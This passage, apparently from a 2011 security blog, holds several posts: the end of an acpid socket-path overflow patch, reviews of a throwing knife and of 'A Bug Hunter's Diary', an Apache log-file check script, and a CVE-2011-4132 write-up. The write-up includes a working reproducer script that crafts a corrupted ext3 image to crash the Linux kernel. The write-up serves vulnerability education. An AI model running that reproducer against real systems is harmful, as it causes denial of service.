	r = connect(fd, (struct sockaddr *)&addr, sizeof(addr));
	if (r < 0) {
		close(fd);
		return r;
	}

	return fd;
}

And the equivalent diff from the patch file is the following.

@@ -85,6 +95,14 @@
        int r;
        struct sockaddr_un addr;
 
+    if (strnlen(name, sizeof(addr.sun_path)) > sizeof(addr.sun_path) - 1) {
+        acpid_log(LOG_ERR, "ud_connect(): "
+            "socket filename longer than %u characters: %s",
+            sizeof(addr.sun_path) - 1, name);
+        errno = EINVAL;
+        return -1;
+    }
+   
        fd = socket(AF_UNIX, SOCK_STREAM, 0);
        if (fd < 0) {
                return fd;
@@ -93,6 +111,8 @@
        memset(&addr, 0, sizeof(addr));
        addr.sun_family = AF_UNIX;
        sprintf(addr.sun_path, "%s", name);
+    /* safer: */
+    /*strncpy(addr.sun_path, name, sizeof(addr.sun_path) - 1);*/
 
        r = connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        if (r < 0) {

Knife: Böker Wurfmesser Magnum Profi II

xorl — Sat, 17 Dec 2011 22:35:13 +0000

So, I have a dozen of those knives for more than 10 years that I mainly used for practising knife throwing. It’s an inexpensive knife specifically designed for throwing but let’s have a better look at its specs.

————————————————
Model: Magnum Profi II
Manufacturer: Böker Wurfmesser
Country Manufactured: Germany
Type: Throwing Knife
Price: €15-20
Blade Length: 16cm (6.3 inches)
Total Length (open): 27cm (10.6 inches)
Total Length (closed): N/A
Blade Material: 420 Stainless Steel
Handle Material: 420 Stainless Steel
Lock: N/A
Weight: 273g (0.60 lbs)
————————————————

This knife is also available in a shorter version with model name “Profi I” but I would personally recommend buying the “Profi II”. As you can see from the above photo the knife has a nice nylon sheath and has a blade specifically designed for throwing. It has amazing quality compared to its price and just for your information the knife you see above is more than 10 years old and truly heavily used for at least 4 years. However, it is still in excellent condition with minor maintenance (you can see that yourself). To conclude, if you’re about to buy a throwing knife and you don’t want to waste a fortune I would suggest something like this one which has both great design and excellent price for its quality.

Book: A Bug Hunter’s Diary

xorl — Sun, 11 Dec 2011 16:50:06 +0000

I have recently finished reading Tobias Klein‘s english version of “A Bug Hunter’s Diary“. The book has a very innovative approach of breaking down all the steps from the initial bug discovery up to exploitation and disclosure of some notable vulnerabilities Tobias Klein has discovered through the years.

Title: A Bug Hunter’s Diary: A Guided Tour Through the Wilds of Software Security
Author: Tobias Klein

Since all chapters follow the same structure with the only difference being the vulnerability, I will only mention the vulnerability associated to each one in the below chapters’ overview.

Chapter 1: Bug Hunting
This is a small introduction chapter with information necessary to understand author’s approaches in this book as well as basic security concepts such as common techniques, tools, etc.

Chapter 2: Back to the ’90s
This chapter goes through the first vulnerability of the book which is VLC TiVo demuxer stack overflow. For more information you can check author’s security advisory here.

Chapter 3: Escape from the WWW Zone
Here we have my personally favourite vulnerability of the book which is a Sun Solaris IOCTL kernel NULL pointer dereference. I always liked Solaris exploitation and the exploitation resources are very limited. This is definitely an excellent resource. Official advisory: “TKADV2008-015“

Chapter 4: NULL Pointer FTW
In this chapter there is a very interesting vulnerability in FFmpeg that affected numerous projects. For more information check out “TKADV2009-004“.

Chapter 5: Browse and You’re Owned
Moving to the Windows world we have this chapter with a WebEx Meeting Manager ActiveX stack overflow that you can find here.

Chapter 6: One Kernel to Rule Them All
Next, still in the Windows world we have this Avast! kernel memory corruption vulnerability disclosed with “TKADV2008-002” security advisory.

Chapter 7: A Bug Older Than 4.4BSD
Another very unique and interesting kernel side vulnerability, this time for Mac OS X kernel. For more information you can read “TKADV2007-001“.

Chapter 8: The Ringtone Massacre
And the book’s final chapter goes to the mobile world with “TKADV2010-002“, an iPhone stack buffer overflow.

The book also has three very informative appendices for bug hunting hints, debugging and mitigation technologies respectively.

To conclude, the last few years we have seen countless books dealing with software security and vulnerability discovery but in my humble opinion this book can easily be part of the top 5. Tobias Klein is an excellent security researcher with experience in both closed and open source bug hunting as well as exploit development in many different architectures. I would definately suggest this book to anyone interested in real world bug hunting and exploitation and not just vuln.c programs.

Admin Mistakes: Apache Reload and Log Files

xorl — Fri, 09 Dec 2011 07:31:53 +0000

Background
So, you have a request to upload and configure a new website on some specific web server. The policy is to have a separate configuration file for each website (each new virtual host) under /etc/httpd/conf.d/ directory.

Problem
After finishing writing of the configuration file (which was about 200 lines due to numerous special requirements) you run the following command

# /etc/init.d/httpd configtest
Syntax OK

in order to check that there is no syntax error. And then you reload the Apache’s configuration…

# /etc/init.d/httpd reload
Reloading httpd:                                          [  OK  ]

However, when you check for the running Apache processes you see that it is not running.

# ps -C httpd
  PID TTY          TIME CMD
#

Now, let’s move to the next section to see what caused this problem.

Mistake
After having another look at the newly added configuration I noticed that the ‘ErrorLog’ directive was pointing to an invalid directory due to a typo. If Apache is not able to access the configured log files, it won’t start and this is what happened.

Resolution
Since each web server could host numerous websites and these were maintained by many different people, I wrote the following simple shell script that reports any missing log files.

#!/bin/sh

HTTPD_CONFS="/etc/httpd/conf.d/*.conf"
HTTPD_DIR="/etc/httpd"
RET=3

cd $HTTPD_DIR

function test_if_exists ()
{
	if [ -f $1 ]; then
		RET=0
	else
		RET=1
	fi
}

function gimmie_the_dirs ()
{
	LFILES=$(egrep '^ErrorLog|^CustomLog' $1 | awk {'print $2'} | tr '\n' ' ')
}

for i in `ls $HTTPD_CONFS`; do
	gimmie_the_dirs $i
	for j in $LFILES; do
		test_if_exists $j
		if [ $RET -eq 1 ]; then
			echo -en "ERROR: $j does not exist\n"
		fi
	done
done

This was later integrated in some shell scripts used for adding new websites and we never had this problem again.

CVE-2011-4132: Linux kernel jbd/jbd2 Local DoS

xorl — Thu, 08 Dec 2011 13:08:53 +0000

This issue was originally reported by Eryu Guan and affects the Linux kernel’s Journaling Block Device (JBD). The buggy code resides fs/jbd/checkpoint.c. More specifically in the following routine.

/*
 * Check the list of checkpoint transactions for the journal to see if
 * we have already got rid of any since the last update of the log tail
 * in the journal superblock.  If so, we can instantly roll the
 * superblock forward to remove those transactions from the log.
 *
 * Return <0 on error, 0 on success, 1 if there was nothing to clean up.
 *
 * Called with the journal lock held.
 *
 * This is the only part of the journaling code which really needs to be
 * aware of transaction aborts.  Checkpointing involves writing to the
 * main filesystem area rather than to the journal, so it can proceed
 * even in abort state, but we must not update the super block if
 * checkpointing may have failed.  Otherwise, we would lose some metadata
 * buffers which should be written-back to the filesystem.
 */

int cleanup_journal_tail(journal_t *journal)
{
        transaction_t * transaction;
        tid_t           first_tid;
        unsigned int    blocknr, freed;
     ...
        if (transaction) {
     ...
                blocknr = transaction->t_log_start;
     ...
        }
        spin_unlock(&journal->j_list_lock);
        J_ASSERT(blocknr != 0);
     ...
        return 0;
}

As Eryu Guan pointed out, using a corrupted EXT3 or EXT4 image with ‘s_first’ value equal to 0 you can reach the J_ASSERT() you see above through journal_reset(). So, the patch was to add some checks on fs/jbd/journal.c and fs/jbd2/journal.c for JBD and JBD2 respectively in order to check explicitly ‘s_first’ value in journal_get_superblock() routine.

        }
 
+       if (be32_to_cpu(sb->s_first) == 0 ||
+           be32_to_cpu(sb->s_first) >= journal->j_maxlen) {
+               printk(KERN_WARNING
+                       "JBD: Invalid start block of journal: %u\n",
+                       be32_to_cpu(sb->s_first));
+               goto out;
+       }
+
        return 0;

Finally, Eryu Guan also provided a shell script to reproduce the problem which is the following.

fstype=ext3
blocksize=1024
img=$fstype.img
offset=0
found=0
magic="c0 3b 39 98"

dd if=/dev/zero of=$img bs=1M count=8
mkfs -t $fstype -b $blocksize -F $img
filesize=`stat -c %s $img`
while [ $offset -lt $filesize ]
do
        if od -j $offset -N 4 -t x1 $img | grep -i "$magic";then
                echo "Found journal: $offset"
                found=1
                break
        fi
        offset=`echo "$offset+$blocksize" | bc`
done

if [ $found -ne 1 ];then
        echo "Magic \"$magic\" not found"
        exit 1
fi

dd if=/dev/zero of=$img seek=$(($offset+23)) conv=notrunc bs=1 count=1

mkdir -p ./mnt
mount -o loop $img ./mnt

As you can see, this script will generate a dummy EXT3 image file with ‘$offset+23′ (which is ‘s_first’ value) set to 0 and then mount it under ./mnt/ directory.